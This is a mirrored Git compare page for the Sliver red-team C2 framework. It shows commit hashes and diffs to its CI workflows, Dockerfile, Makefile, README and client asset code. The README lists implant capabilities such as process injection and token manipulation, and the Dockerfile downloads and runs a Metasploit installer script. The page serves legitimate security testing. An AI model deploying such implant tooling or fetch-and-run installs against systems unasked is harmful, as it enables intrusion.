mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
207
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1073dedf10 | ||
|
|
59c642143d | ||
|
|
8f01ab216d | ||
|
|
062f89e768 | ||
|
|
03b470aec7 | ||
|
|
a74d6f6250 | ||
|
|
4f62f16a1d | ||
|
|
d4ec2203cb | ||
|
|
8309e7af14 | ||
|
|
68a270581f | ||
|
|
5e222411c8 | ||
|
|
727a40bc35 | ||
|
|
2038fbcfa3 | ||
|
|
9a5a3d161a | ||
|
|
4b4e7c82f2 | ||
|
|
2844ef91d3 | ||
|
|
cffbae3da7 | ||
|
|
35fa3c95b8 | ||
|
|
53afb01366 | ||
|
|
33401dcd18 | ||
|
|
f4fcbd9cdf | ||
|
|
3c864311fa | ||
|
|
6db7c42d47 | ||
|
|
004047308f | ||
|
|
ca0fd1e7be | ||
|
|
204f013c5d | ||
|
|
ac33916348 | ||
|
|
75b96fbc29 | ||
|
|
07bfb1735e | ||
|
|
ea20b344ce | ||
|
|
98c1ac9547 | ||
|
|
439c88ce78 | ||
|
|
461aa255ca | ||
|
|
076e34dd02 | ||
|
|
ae517d1d34 | ||
|
|
d34541a3d4 | ||
|
|
db7adc172d | ||
|
|
2f520931f8 | ||
|
|
707ce345c7 | ||
|
|
fcae20f92a | ||
|
|
d09c1fd086 | ||
|
|
98f510abf4 | ||
|
|
f2aa7b45c8 | ||
|
|
01a0bfc9cf | ||
|
|
0cef6749b5 | ||
|
|
2b286ae3cf | ||
|
|
ee7d36dfed | ||
|
|
7d793841f9 | ||
|
|
fc61b82de2 | ||
|
|
c91c724912 | ||
|
|
46d81fefa1 | ||
|
|
23da56f5f9 | ||
|
|
4a8397374e | ||
|
|
359224a43e | ||
|
|
8a2d087039 | ||
|
|
aa50e9c874 | ||
|
|
646ef4273a | ||
|
|
34738d2337 | ||
|
|
de31135fa5 | ||
|
|
8bc39cc231 | ||
|
|
f71a066ffc | ||
|
|
4b2b80b2f8 | ||
|
|
41669ed41f | ||
|
|
cdfee6510e | ||
|
|
3826ca851e | ||
|
|
d2d7637b7d | ||
|
|
e907878674 | ||
|
|
21b7842bbf | ||
|
|
b1ad4ada9e | ||
|
|
cf0b9766f7 | ||
|
|
c4b096f867 | ||
|
|
295c7cb5a0 | ||
|
|
6d8d80970e | ||
|
|
925e5dfee7 | ||
|
|
1885dc5ee3 | ||
|
|
1f694bda41 | ||
|
|
53a35e4727 | ||
|
|
082dd94ea5 | ||
|
|
e71d142d86 | ||
|
|
260f4d4d75 | ||
|
|
05b663ee8a | ||
|
|
c78a99a58f | ||
|
|
c874565177 | ||
|
|
57d36054b2 | ||
|
|
154061e93a | ||
|
|
d514872d6f | ||
|
|
30c46e85e7 | ||
|
|
87e85bfa40 | ||
|
|
f7a9040352 | ||
|
|
1756ffa2cd | ||
|
|
928faad39a | ||
|
|
34f28b15bc | ||
|
|
95ba042198 | ||
|
|
80375092fe | ||
|
|
271d50d65c | ||
|
|
752efb0ed8 | ||
|
|
657831f0c0 | ||
|
|
6382dcabc4 | ||
|
|
31efd2afb1 | ||
|
|
1d2e76ba47 | ||
|
|
ec1339e766 | ||
|
|
9ba2d4cdfb | ||
|
|
b452d42314 | ||
|
|
8e9f6a874c | ||
|
|
d0f51d7792 | ||
|
|
ce1d2a2c55 | ||
|
|
6965958097 | ||
|
|
eb8d1bdf11 | ||
|
|
6e5797670d | ||
|
|
c1eeb532e3 | ||
|
|
c7c8027091 | ||
|
|
ce27108c1a | ||
|
|
235fb87842 | ||
|
|
a0d71f4fe8 | ||
|
|
0502f82967 | ||
|
|
2553772ec0 | ||
|
|
406a10d639 | ||
|
|
92b2d2464c | ||
|
|
ead0a5ea1e | ||
|
|
d0ec264454 | ||
|
|
9c7e47c95e | ||
|
|
4c5a099d5c | ||
|
|
4ed42e4a3d | ||
|
|
ffee881de0 | ||
|
|
339bf15387 | ||
|
|
92c9a50ba7 | ||
|
|
99e6765896 | ||
|
|
b5d1e9a3d1 | ||
|
|
d1dbd3dcb7 | ||
|
|
8b81de5129 | ||
|
|
bcc7fb0fcb | ||
|
|
795001f690 | ||
|
|
b0c4f89bcf | ||
|
|
fb72322065 | ||
|
|
a1e51d64d4 | ||
|
|
d15c257176 | ||
|
|
97d3da75b6 | ||
|
|
4e3efeb623 | ||
|
|
81c7dd69da | ||
|
|
6c3b754943 | ||
|
|
fbea84eeb6 | ||
|
|
0c83bdc6d1 | ||
|
|
476eafccf5 | ||
|
|
1501633565 | ||
|
|
addd22d2f7 | ||
|
|
f196278c3e | ||
|
|
3aa33d3679 | ||
|
|
ab197461ae | ||
|
|
6488df4374 | ||
|
|
15c5eb29e5 | ||
|
|
91e4f5a33b | ||
|
|
62a6ffd1ac | ||
|
|
a69512ba65 | ||
|
|
3a1cd3a477 | ||
|
|
da0499f9da | ||
|
|
3169b436a8 | ||
|
|
26faea2ae0 | ||
|
|
11eb5f5f27 | ||
|
|
49d742cfad | ||
|
|
028521ddc0 | ||
|
|
66dad91d86 | ||
|
|
b9f8e045d9 | ||
|
|
8ffad32591 | ||
|
|
d60dcabd86 | ||
|
|
68cece2b96 | ||
|
|
5d3ef197e3 | ||
|
|
62c8d678e2 | ||
|
|
68fd6b27f9 | ||
|
|
21d2a10b7a | ||
|
|
efd4115a1c | ||
|
|
eed3f51be2 | ||
|
|
54b09d9a26 | ||
|
|
1bc1bc11c0 | ||
|
|
14aebe943c | ||
|
|
0f20dddc95 | ||
|
|
75e0b9d931 | ||
|
|
7af5280cd6 | ||
|
|
1d86383e0d | ||
|
|
3be52dde2f | ||
|
|
8b18bf571a | ||
|
|
6dacb8ad9f | ||
|
|
1db8e5a22e | ||
|
|
45f323eae9 | ||
|
|
22e615b1b4 | ||
|
|
afa534ea39 | ||
|
|
10429b7314 | ||
|
|
dfb6d2e1bb | ||
|
|
de3f2c827d | ||
|
|
4569621a8a | ||
|
|
f21242ca2c | ||
|
|
c13a71c92f | ||
|
|
9b85a63f69 | ||
|
|
fdab12c9a5 | ||
|
|
26abb42859 | ||
|
|
bf892e9c4b | ||
|
|
cb7f2b1aea | ||
|
|
44f16bb6a3 | ||
|
|
51af17906c | ||
|
|
4ba374cee6 | ||
|
|
55c1145b2d | ||
|
|
336fc4ffea | ||
|
|
581395e9a4 | ||
|
|
16ce440014 | ||
|
|
2bf87bff98 | ||
|
|
65788c1003 | ||
|
|
2e1aa54130 | ||
|
|
97715302a3 |
No files matched your search
@@ -3,7 +3,7 @@ name: Release
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master]
|
||||
branches: [master, goreleaser]
|
||||
|
||||
jobs:
|
||||
|
||||
@@ -14,10 +14,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -35,6 +35,8 @@ jobs:
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
@@ -44,7 +46,11 @@ jobs:
|
||||
path: ./sliver-*
|
||||
|
||||
- name: Make Windows
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -59,10 +65,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
@@ -77,10 +83,14 @@ jobs:
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
|
||||
# - name: Make ARM64
|
||||
# run: make macos-arm64
|
||||
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -98,10 +108,18 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- run: mkdir -p ./release && mkdir -p ./artifacts
|
||||
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v2
|
||||
with:
|
||||
path: ./artifacts
|
||||
path: ./builds
|
||||
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
@@ -109,43 +127,34 @@ jobs:
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
- name: Release
|
||||
run: mkdir -p ./release
|
||||
|
||||
# Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
|
||||
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
|
||||
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
|
||||
# Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
|
||||
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
|
||||
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
|
||||
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
# MacOS ARM64
|
||||
# - name: Package MacOS ARM64
|
||||
# run: |
|
||||
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
|
||||
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
|
||||
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: false
|
||||
prerelease: true
|
||||
files: |
|
||||
./release/*
|
||||
./artifacts/*
|
||||
@@ -17,10 +17,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: "^1.17"
|
||||
go-version: "^1.18"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -6,6 +6,11 @@ on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
|
||||
@@ -15,10 +20,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -50,10 +55,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -40,3 +40,5 @@ sliver-server-windows.zip
|
||||
.glide/
|
||||
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
+16
-16
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.5
|
||||
FROM golang:1.18
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,22 +6,22 @@ FROM golang:1.17.5
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 3.17.1
|
||||
ENV PROTOC_GEN_GO_VER v1.26.0
|
||||
ENV GRPC_GO v1.1.0
|
||||
ENV PROTOC_VER 3.19.4
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
# Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
|
||||
#
|
||||
# > User
|
||||
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
# > Metasploit
|
||||
#
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
|
||||
@@ -3,22 +3,40 @@
|
||||
#
|
||||
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date cut $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 18
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
|
||||
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
|
||||
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
@@ -30,14 +48,6 @@ LDFLAGS = -ldflags "-s -w \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
|
||||
@@ -80,36 +90,38 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
@@ -119,6 +131,17 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
.PHONY: clean-all
|
||||
clean-all: clean
|
||||
rm -rf ./server/assets/fs/darwin/amd64
|
||||
@@ -129,5 +152,4 @@ clean-all: clean
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client_arm64 sliver-server_arm64
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
@@ -1,7 +1,7 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
@@ -17,13 +17,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Local and remote process injection
|
||||
* Windows process migration
|
||||
* Windows user token manipulation
|
||||
* Anti-fingerprinting features
|
||||
* Windows process migration, process injection, user token manipulation, etc.
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* TCP and named pipe pivots
|
||||
* Much more!
|
||||
|
||||
### Getting Started
|
||||
@@ -42,6 +40,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
|
||||
|
||||
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
+1
-40
@@ -19,9 +19,7 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
@@ -32,11 +30,6 @@ import (
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
var (
|
||||
//go:embed fs/*
|
||||
clientAssetsFs embed.FS
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
||||
@@ -80,47 +73,15 @@ func Setup(force bool, echo bool) {
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2021 Bishop Fox
|
||||
Sliver Copyright (C) 2022 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
}
|
||||
err := setupDefaultExtensions(appDir)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
log.Fatal(err)
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
|
||||
SaveSettings(nil)
|
||||
}
|
||||
}
|
||||
|
||||
func setupDefaultExtensions(appDir string) error {
|
||||
localExtDir := GetExtensionsDir()
|
||||
rootEmbedPath := "fs/extensions"
|
||||
return fs.WalkDir(clientAssetsFs, rootEmbedPath, func(embedPath string, embedDir fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localPath := strings.TrimPrefix(embedPath, rootEmbedPath)
|
||||
if embedDir.IsDir() {
|
||||
err := os.MkdirAll(filepath.Join(localExtDir, localPath), 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
